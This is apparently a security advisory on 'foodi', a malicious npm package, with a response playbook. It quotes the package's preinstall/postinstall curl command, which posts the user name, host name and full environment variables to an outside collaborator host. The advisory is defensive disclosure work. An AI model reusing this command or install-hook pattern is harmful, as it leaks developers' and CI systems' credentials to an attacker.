Advisory published Updated
foodi is a confirmed malicious npm package (MAL-2026-12383) that steals credentials and exfiltrates sensitive data (malicious version 99.99.1). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in foodi (npm)
What this malware does
package.json declares preinstall and postinstall lifecycle scripts that both execute curl -X POST -k -s https://y0zhmssf65c8er7btoglvt9bg2mtakc81.oastify.com -d "u=$(whoami)&h=$(hostname)&e=$(env)". On npm install, the package runs whoami, hostname, and dumps the full process environment, then POSTs the collected data to a Burp Collaborator (oastify.com) subdomain over TLS with certificate verification disabled (-k). Environment variables on developer and CI machines routinely contain credentials, API keys, and CI tokens. The package's main module is empty, consistent with a squat/dependency-confusion payload whose sole function is install-time exfiltration.

Detection & response playbook
Credential / info stealerFind it
Search your lockfiles and build artifacts for foodi (version 99.99.1).
If you installed it — respond
foodi is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If foodi was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Detect & block this
O3 blocks foodi-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.
